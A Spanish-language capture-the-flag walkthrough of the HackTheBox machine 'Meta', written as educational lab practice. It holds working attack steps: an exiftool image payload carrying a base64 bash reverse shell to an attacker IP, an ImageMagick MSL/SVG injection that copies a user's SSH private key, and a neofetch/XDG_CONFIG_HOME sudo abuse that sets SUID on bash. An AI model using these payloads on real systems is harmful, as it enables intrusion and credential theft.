HTB Meta
¡Hola!
En esta ocasión vamos a resolver de la maquina Meta
de HackTheBox.
La máquina es nivel “Medium”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre meta
y los subdirectorios recon
junto con exploit
, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
❯ mkhack meta
❯ cd !$/recon
RECONOCIMIENTO
Accedemos al directorio recon
e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de una traza ICMP.
❯ ping -c 1 10.10.11.140 | grep ttl | awk '{print $4 $6}'
10.10.11.140:ttl=63
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
❯ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.140 -v -oG ports | grep open
22/tcp open ssh
80/tcp open http
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
❯ nmap -p22,80 -sCV 10.10.11.140 -oN allInfo
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-15 23:39 -05
Nmap scan report for 10.10.11.140
Host is up (0.090s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
| 256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
|_ 256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://artcorp.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ENUMERACION WEB
Podemos identificar que el puerto 80
tiene una página web en servicio, por lo que revisamos con el explorador la página en cuestión sin lograr evidenciar algún contenido.
Se procede a realizar la enumeración de servicios web identificando un redireccionamiento de la dirección IP a el dominio artcorp.htb.
❯ whatweb http://10.10.11.140
http://10.10.11.140 [301 Moved Permanently] Apache, Country[RESERVED][ZZ], HTTPServer[Apache], IP[10.10.11.140], RedirectLocation[http://artcorp.htb]
http://artcorp.htb [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.10.11.140], Title[Home]
VIRTUAL HOSTING
Podemos revisar las cabeceras de la petición web con el mismo resultado.
❯ curl -sI http://10.10.11.140
HTTP/1.1 301 Moved Permanently
Date: Thu, 16 Jun 2022 04:40:51 GMT
Server: Apache
Location: http://artcorp.htb
Content-Type: text/html; charset=UTF-8
Como se puede identificar tenemos un virtual hosting, por lo que necesitamos modificar nuestro fichero /etc/hosts
sudo vim /etc/hosts
10.10.11.140 artcorp.htb
FUZZING DE SUBDOMINIOS
Ahora que tenemos alcance a la maquina victima, vamos a realizar un fuzzing por medio de la generación de múltiples peticiones con diferentes terminaciones a la página web, con el fin de detectar subdominios de acceso a información o explotación, identificando potenciales rutas de acceso, vamos a mirar de que se tratan.
❯ wfuzz -c -t 200 --hc=404,301 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.rtcorp.htb" http://artcorp.htb
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://artcorp.htb/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001492: 200 9 L 24 W 247 Ch "dev01"
Encontramos el subdominio dev01
, vamos a agregar el subdominio al fichero /etc/hosts
.
sudo vim /etc/hosts
10.10.11.140 artcorp.htb dev01.artcorp.htb
Ahora que tenemos dos subdominios podremos ver un poco más a detalle la página web y así mismo podemos detectar que hay una ruta que nos permite cargar archivos como imágenes en formatos jpg y png.
EXPLOIT
Para esta ocasión vamos a hacer uso de la herramienta JPEG_RCE del github de OneSecCyber
Ingresamos a nuestra carpeta exploit
y procedemos a descargar la herramienta.
❯ cd ../exploit/
https://github.com/OneSecCyber/JPEG_RCE
git clone https://github.com/OneSecCyber/JPEG_RCE.git
cd JPEG_RCE
A continuación, codificaremos una reverse shell de bash en base64, esto para que pueda ser interpretado el comando al momento de subir el archivo a la maquina víctima.
❯ echo "bash -c 'bash -i >& /dev/tcp/10.10.14.78/4444 0>&1'" | base64
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43OC80NDQ0IDA+JjEnCg==
Luego de obtener la codificación, ejecutamos el siguiente comando sugerido en la documentación de la herramienta que descargamos anteriormente.
❯ exiftool -config eval.config runme.jpg -eval='system("echo 'YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43OC80NDQ0IDA+JjEnCg==' | base64 -d | bash")'
1 image files updated
¡Muy bien! Precedemos a subir la imagen runme.jpg
a la página víctima, sin embargo, antes de darle clic al botón para finalizar el proceso, debemos hacer un último paso, es necesario ponernos en escucha con la utilidad nc
con el puerto que se indica al momento de realizar la reverse shell.
❯ nc -lvnp 4444
listening on [any] 4444 ...
Ahora sí, es momento de subir la imagen y dar clic en el botón para terminar el proceso en la página web y cómo podemos ver, ¡acto seguido obtenemos una shell de la maquina victima!
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.78] from (UNKNOWN) [10.10.11.140] 56278
bash: cannot set terminal process group (639): Inappropriate ioctl for device
bash: no job control in this shell
www-data@meta:/var/www/dev01.artcorp.htb/metaview$ whoami
whoami
www-data
PROCMON.SH
Excelente! Sin embargo, por el momento solo somos el usuario www-data, así que luego de realizar diversos intentos de enumeraciones para escalar privilegios fallidas, ejecutamos un script denominado procmon.sh
el cual nos va a permitir monitorear los comandos se están ejecutando en tiempo real en la máquina.
Vamos a ir a la carpeta /tmp
y con la utilidad nano
creamos el archivo.
cd /tmp
nano procmon.sh
#!/bin/bash
old_process=$(ps -eo command)
while true; do
new_process=$(ps -eo command)
diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "procmon | command | kworker"
old_process=$new_process
done
Una vez es ejecutado el archivo anterior, encontramos los siguientes comandos que han sido ejecutados, entre ellos se menciona el fichero convert_images.sh
www-data@meta:/tmp$ ./procmon.sh
> /usr/sbin/CRON -f
> /bin/sh -c /usr/local/bin/convert_images.sh
> /bin/bash /usr/local/bin/convert_images.sh
> /usr/local/bin/mogrify -format png *.*
< /usr/sbin/CRON -f
< /bin/sh -c /usr/local/bin/convert_images.sh
< /bin/bash /usr/local/bin/convert_images.sh
< /usr/local/bin/mogrify -format png *.*
Leemos el fichero convet_images.sh
para entender su lógica y tomar provecho de ello.
www-data@meta:/tmp$ cat /usr/local/bin/convert_images.sh
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify
POC DE INYECCION
Vamos a realizar el escalamiento de privilegios por medio de la llave id_rsa del usuario Thomas, para esto vamos a seguir la guía de insert-script para inyectar y lograr leer el contenido de la llave puesto que no tenemos permisos de lectura a este fichero.
www-data@meta:/tmp$ cd /dev/shm
www-data@meta:/dev/shm$ nano poc.svg
<image authenticate='ff" `cat /home/thomas/.ssh/id_rsa > /dev/shm/id_rsa`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>
www-data@meta:/dev/shm$ cp poc.svg /var/www/dev01.artcorp.htb/convert_images/
Finalmente, luego del proceso anterior tenemos premisos de lectura para poder copiar la llave id_rsa de Thomas.
www-data@meta:/dev/shm$ ls -la
total 8
drwxrwxrwt 2 root root 80 Jun 20 14:10 .
drwxr-xr-x 16 root root 3080 Jun 19 19:18 ..
-rw-r--r-- 1 thomas thomas 2590 Jun 20 14:10 id_rsa
-rw-r--r-- 1 www-data www-data 426 Jun 20 14:07 poc.svg
Estamos listos para ingresar con un nuevo usuario por SSH, para esto vamos a crear un fichero id_rsa
y se le asignan los permisos 600, requeridos para poder iniciar sesión con la llave obtenida.
INTRUCIÓN
❯ vim id_rsa
❯ chmod 600 id_rsa
❯ ssh -i id_rsa thomas@10.10.11.140
The authenticity of host '10.10.11.140 (10.10.11.140)' can't be established.
ECDSA key fingerprint is SHA256:KjNiuFNo5CvSMSQO5ETmw1YJPtafmymn6SkBbMLIAFg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.140' (ECDSA) to the list of known hosts.
Linux meta 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
thomas@meta:~$
¡Hemos tenido acceso con el usuario Thomas! Ahora vamos a proceder con la lectura de nuestra primera flag.
thomas@meta:~$ head -c 10 user.txt; echo
74f2b57ad0
¡Genial! Solo nos queda escalar privilegios para lograr obtener la flag de root, iniciamos con la enumeración de comandos y variables permitidas bajo el comando sudo.
ESCALADA DE PRIVILEGIOS
thomas@meta:~$ sudo -l
Matching Defaults entries for thomas on meta:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME
User thomas may run the following commands on meta:
(root) NOPASSWD: /usr/bin/neofetch \"\"
Luego de investigar, encontramos que la variable XDG_CONFIG_HOME es potencial vector de escalamiento junto con el comando neofetch.
- Entramos al a ruta
~/.config/neofetch
- Ingresamos al fichero
config.conf
- Agregamos la siguiente línea dando permisos suid a
/bin/bash
- Asignamos la ruta modificada a la variable
XDG_CONFIG_HOME
- Ejecutamos el comando
neofetch
como sudo - Revisamos los permisos suid de
/bin/bash
- Ejecutamos el comando
bash -p
para tener acceso privilegiado a la maquina
thomas@meta:~/.config/neofetch$ nano config.conf
chmod u+s /bin/bash
thomas@meta:~/.config/neofetch$ export XDG_CONFIG_HOME=/home/thomas/.config/
thomas@meta:~/.config/neofetch$ sudo neofetch
_,met$$$$$gg. root@meta
,g$$$$$$$$$$$$$$$P. ---------
,g$$P" """Y$$.". OS: Debian GNU/Linux 10 (buster) x86_64
,$$P' `$$$. Host: VMware Virtual Platform None
',$$P ,ggs. `$$b: Kernel: 4.19.0-17-amd64
`d$$' ,$P"' . $$$ Uptime: 19 hours, 15 mins
$$P d$' , $$P Packages: 495 (dpkg)
$$: $$. - ,d$$' Shell: bash 5.0.3
$$; Y$b._ _,d$P' CPU: Intel Xeon Gold 5218 (2) @ 2.294GHz
Y$$. `.`"Y$$$$P"' GPU: VMware SVGA II Adapter
`$$b "-.__ Memory: 167MiB / 1994MiB
`Y$$
`Y$$.
`$$b.
`Y$$b.
`"Y$b._
`"""
thomas@meta:~/.config/neofetch$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
thomas@meta:~/.config/neofetch$ bash -p
bash-5.0# whoami
root
¡Logramos tener acceso como root! No queda nada más, vamos a acceder a la carpeta que contiene la flag y eso es todo.
bash-5.0# cd /root
bash-5.0# ls
conf root.txt
bash-5.0# head -c 10 root.txt; echo
4dea5795d3
¡Hemos logrado completar la maquina Meta
de HackTheBox!
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit.